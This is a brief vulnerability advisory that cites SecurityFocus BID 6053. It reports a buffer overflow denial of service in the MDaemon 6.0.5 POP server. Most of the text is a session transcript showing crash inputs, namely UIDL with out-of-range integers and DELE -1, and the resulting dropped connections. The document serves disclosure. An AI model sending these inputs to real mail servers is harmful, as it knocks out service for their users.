source: https://www.securityfocus.com/bid/6053/info A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands. An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command. +OK somedomain.com POP MDaemon 6.0.5 ready USER blah +OK blah... Recipient ok PASS 123456 +OK blah@somedomain.com's mailbox has 0 total messages (0 octets). UIDL 2147483647 -ERR no such message UIDL 2147483648 +OK -2147483648 !!! Index 0 is not used UIDL 2147483649 Connection to host lost. --- user dark +OK dark... Recipient ok pass ****** +OK dark@dark's mailbox has 13 total messages (2274775 octets). dele -1 Connection to host lost.